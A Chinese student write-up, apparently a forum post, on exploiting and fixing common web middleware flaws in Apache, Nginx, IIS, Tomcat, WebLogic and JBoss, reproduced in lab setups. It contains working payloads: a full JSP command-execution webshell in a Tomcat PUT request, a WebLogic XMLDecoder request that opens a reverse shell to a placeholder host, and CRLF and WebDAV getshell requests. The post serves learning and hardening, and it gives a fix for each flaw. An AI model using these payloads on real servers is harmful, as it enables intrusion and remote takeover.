[TOC]
常见Web中间件漏洞利用及修复方法
前言
文章不是首发，作为sec圈子的入圈帖，在90分享一下吧。
写这篇报告是因为老师布置的作业，当然也是对自己学习的一个总结。写之前发现网上已经有人写过类似的文章，过程都大致相同但是有自己不同的理解。作为一个小白的文，如果文中有任何错误或者不足希望师傅们能够不吝指导，谢谢。
PS:文章原理释义、payload、复现环境大多数来自于前人，侵删。
漏洞详情
Apache
- 0x00漏洞原理
Apache 默认一个文件可以有多个以点分隔的后缀，apache从右到左开始判断解析,不能识别,就再往左判断。
比如 test.php.xxx "xxx"这种后缀是apache不可识别解析,apache就会把test.php.xxx解析成php。
除了PHP后缀外，php|php3|phtml也可以被apache解析。 - 0x01利用方法
成功解析
- 0x02修复建议
apache配置文件，禁止.php.这样的文件执行，配置文件里面加入<Files ~ "\.(php.|php3.)"> Order Allow,Deny Deny from all </Files>
查阅资料发现还有其他方法，没试过。
改用SetHandler，写好正则
禁止.php.这样的文件执行<FileMatch ".+\.php$"> SetHandler application/x-httpd-php </FileMatch><FileMatch ".+\.ph(p[3457]?|t|tml)\."> Require all denied </FileMatch>
Nginx
- 0x00漏洞原理
与iis不同，nginx的解析漏洞很大程度上是因为用户对配置文件不熟悉，用户配置不当造成。cgi.fix_pathinfo默认值为1，表示开启，在请求时任意文件名后加上/*.php就有可能被当作php代码解析执行。 - 0x01利用方法
这里我们用P神的vulhub来复现。
上传一张带有phpinfo的图片
正常访问，返回图片(这里打不开是因为这张图只有phpinfo() ，毕竟懒哈哈。)
拼接上/*.php，成功解析执行phpinfo
- 0x02修复建议
上面说了，这是因为配置不当出现的。把cgi.fix_pathinfo参数置为0后，只要*.php这个文件不存在，就会正常回显404了。
用户对配置文件不熟悉配置不当不仅会造成文件解析漏洞，还可能会造成其他的诸如目录遍历(目录穿越)，CRLF注入攻击。
- Nginx CRLF注入漏洞
- 0x00漏洞原理
Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。location / { return 302 https://$host$uri; } - 0x01利用方法
一样是P神的vulhub
查看nginx配置文件:/etc/nginx/conf.d/error1.conf
正常访问
构造payload(http://192.168.16.134:8080/%0a%0dSet-cookie:%20test)，再次发送
还可以利用P神的《Bottle HTTP 头注入漏洞探究》中的技巧，进行xss。
- 0x02修复建议
过滤\r 、\n之类的换行符，避免输入的数据污染到其他HTTP头。
使用不解码的URI跳转
将location / { return 302 https://$host$request_uri }return 302 https://$host$uri；修改为return 302 https://$host$request_uri；
- 0x00漏洞原理
- Nginx目录穿越\遍历漏洞
- 0x00漏洞原理
Nginx在配置别名（Alias）的时候，如果忘记加/,将造成一个目录穿越漏洞。简单来讲就是/files没有用/闭合。location /files { alias /home/; } - 0x01利用方法
- 0x02修复建议
删除配置文件中的autoindex on
或者给/files闭合
修复结果
- 0x00漏洞原理
IIS
文件解析漏洞，文件在特定条件下，会被当成脚本执行。
- 0x00漏洞原理
当IIS在处理文件名为xxx.asp;.jpg时，读取到;就不会再继续往后读取了。
在网站目录下面创建一个后缀名为.asp的文件夹时，IIS6.0会把文件夹下面所有的文件都当作.asp文件解析。 - 0x01利用方法
- 修改
a.jpg为xx.asp/1.jpg
- 修改
a.jpg为x.asp;.jpg
- getshell
- 修改
- 0x02修复建议
可以利用系统策略，不允许创建含"."的文件夹，或者直接不允许创建目录。
限制上传目录的权限，不允许执行脚本。
由于官方并不认为这是一个漏洞，所以没有官方补丁或者官方的解决方案。建议升级。
- 0x00漏洞原理
IIS6.0命令执行漏洞编号是CVE-2017-7269，在开启WebDav服务的前提下存在可远程执行漏洞。
漏洞原理是在IIS6.0处理PROPFIND指令的时候，对url没有有效的长度控制和检查，导致执行memcpy对虚拟路径进行构成的时候引发栈溢出，该漏洞可以导致远程代码执行。 - 0x01利用方法
burp抓包查看请求方法，当ALLOW中包含以下方法时，可以确定开启WebDav
利用CVE-2017-7269POCGitHub链接
修改Ip地址为目标主机Ip
当前POC默认静默执行calc.exe，目标主机当前进程
执行POC，查看目标主机进程
- 0x02修复建议
- 禁用WebDav服务。
- 2015年7月15日，微软已停止对Windows Server 2003的支持，建议升级。
- 0x00漏洞原理
该漏洞是因为服务器配置不当造成，开启了webdav和网站写入权限。
漏洞详情 - 0x01利用方法
利用burp抓包查看请求方法。
上传txt文档，利用move方法重命名到test.asp;.jpg脚本配置iis6解析漏洞getshell
MOVE /test.txt HTTP/1.1 Host: 192.168.16.140 Destination: http://192.168.16.140/test.asp;.jpg Content-Length: 0 - 0x02修复建议
- 0x00漏洞原理
为了兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹）生成了对应的windows 8.3 短文件名。在Windows下查看对应的短文件名，可以使用命令dir /x。
可以看到，其对应的短文件名 xxxxxx~1.HTM，取文件名前六位后面的用~1指代，其中"1"可以递增（名称前6位必须相同，且后缀名前3位必须相同），取后缀名前三位。
有可能被猜解出后台地址，敏感文件(如网站备份，sql备份等) - 0x01利用方法
在windows中，*可以匹配n个字符，n可以为0。
靶机新建html文件qwertyuiop.html
构造payload：
http://www.example.com/*~1*/a.aspx
目标存在短文件
短文件名不是a开头
猜解出第一个字母为q
以此类推，最终得到qwe*~1.HTML*文件。剩下的文件名需自行猜解。
GitHub有POC - 0x02修复建议
- 升级.net
- 修改注册表键值HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem，修改 NtfsDisable8dot3NameCreation为1
- 将web文件夹的内容拷贝到另一个位置，如c:\wwwroot到d:\www,然后删除原文件夹，再重命名到c:\www。
- 0x00漏洞原理
php.ini里默认cgi.fix_pathinfo=1，对其进行访问的时候，在URL路径后添加.php，解析时会对文件路径进行修减，例如：/exam.jpg/x.php,若/exam.jpg/x.php不存在，则会去掉最后的x.php然后判断/exam.jpg是否存在，若存在，则把exam.jpg当作文件解析。
简单来说就是，上传带有脚本语言的图片，访问时在后面加上/.php。然后程序执行。 - 0x01利用方法
拼接/.php
- 0x02修复建议
- 修改cgi.fix_pathinfo=1为0
- 在IIS里找到“处理程序映射”，然后对PHP这一项进行编辑，点击“请求限制”，把“仅当请求映射至以下内容时才调用处理程序”这个选项勾上
Tomcat
- 0x00漏洞原理
根据描述，在 Windows 服务器下，启用了 HTTP PUT 请求方法，，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码。 - 0x01利用方法
利用burp抓包修改PUT方法上传jspshell，访问失败。
重新构造请求PUT /11.jsp/ HTTP/1.1 Host: 192.168.16.134:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 661 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%> - 0x02修复建议
修改readonly和VirtualDirContext值为Ture或注释参数,禁用PUT方法并重启tomcat,升级为最新版本。
- 0x00漏洞原理
原理摘自vulhubGitHub
在conf/tomcat-users.xml文件中配置用户的权限：
```
<?xml version="1.0" encoding="UTF-8"?>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
```
可见，用户tomcat拥有上述所有权限，密码是tomcat。
正常安装的情况下，tomcat8中默认没有任何用户，且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下，才可以进行攻击。
- 0x01利用方法
访问主页，打开管理页面输入弱口令tomcat:tomcat
上传war包getshell
- 0x02修复建议
首先不要设置弱口令
以匹配应用权限的用户运行应用程序
删除Tomcat下的manager文件夹
WebLogic
同tomcat，大同小异。
- 0x00漏洞原理
漏洞原理 - 0x01利用方法
在发送请求的时候，在请求头中必带Upgrade-Insecure-Requests: 1以及Content-Type: text/xml，否则是无法请求成功的。
burp抓包发送POC：POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/hostsip/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> - 0x02修复建议
对wls组件进行访问控制
升级Oracle 最新补丁
- 0x00漏洞原理
漏洞原理 - 0x01利用方法
访问http://your-ip:7001/ws_utc/config.do，第一次访问部署。
设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。
然后点安全，上传webshell。
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，即可执行webshell：
- 0x02修复建议
Oracle官方安全布丁进行更新修复
-
0x00漏洞原理
Weblogic的SSRF漏洞出现在uddi组件（也就意味着未安装此组件则无此漏洞），其中的uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。 -
0x01利用方法
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT，如http://127.0.0.1:7001
修改url中端口为一个未开放的端口如22，会得到不同的回显，根据回显不同，可以判断端口是否开放，以进行下一步渗透。
Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器反弹shell。 -
0x02修复建议
最直接的方式是将SearchPublicRegistries.jsp直接删除。
Jboss
- 0x00漏洞原理
漏洞影响5.x和6.x版本的JBOSSAS
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中，其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致攻击者可以通过精心设计的序列化数据来执行任意代码。
该漏洞出现在/invoker/readonly请求中，服务器将用户提交的POST内容进行了Java反序列化：
图片来自vulhub - 0x01利用方法
检测invoker/readonly目录是否存在，若返回500状态码可以确认漏洞存在。
burp抓包上payload修改POST数据
查阅资料发现大多是利用的JavaDeserHHc工具，但是我没利用成功。
利用另外一个工具是可以成功执行的。
- 0x02修复建议
手动添加以下代码至http-invoker.sar下web.xml文件中的security-constraint标签内，对http invoker组件进行访问控制：
/opt/jboss/jboss5/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml
如业务不需要使用http-invoker.sar组件，建议直接删除该组件：
/opt/jboss/jboss5/server/default/deploy/http-invoker.sar/
- 0x00漏洞原理
JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象，所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考jboss/CVE-2017-12149。 - 0x01利用方法
这里我们直接exp
- 0x02修复建议
更新Apache Commons Collections库
lib地址:GitHub - ikkisoft/SerialKiller: Look-Ahead Java Deserialization Library
下载这个jar后放置于classpath，将应用代码中的java.io.ObjectInputStream替换为SerialKiller
之后配置让其能够允许或禁用一些存在问题的类，SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性，控制了外部输入反序列化后的可信类型。
同tomcat，大同小异。
后记
虽说是没太大技术含量，但是真的好累。特别是人一懒了，到要交之前一下午时间才来复现全部环境。。。
作为自己的一个笔记吧，也只是比较常见的部分中间件和少部分漏洞。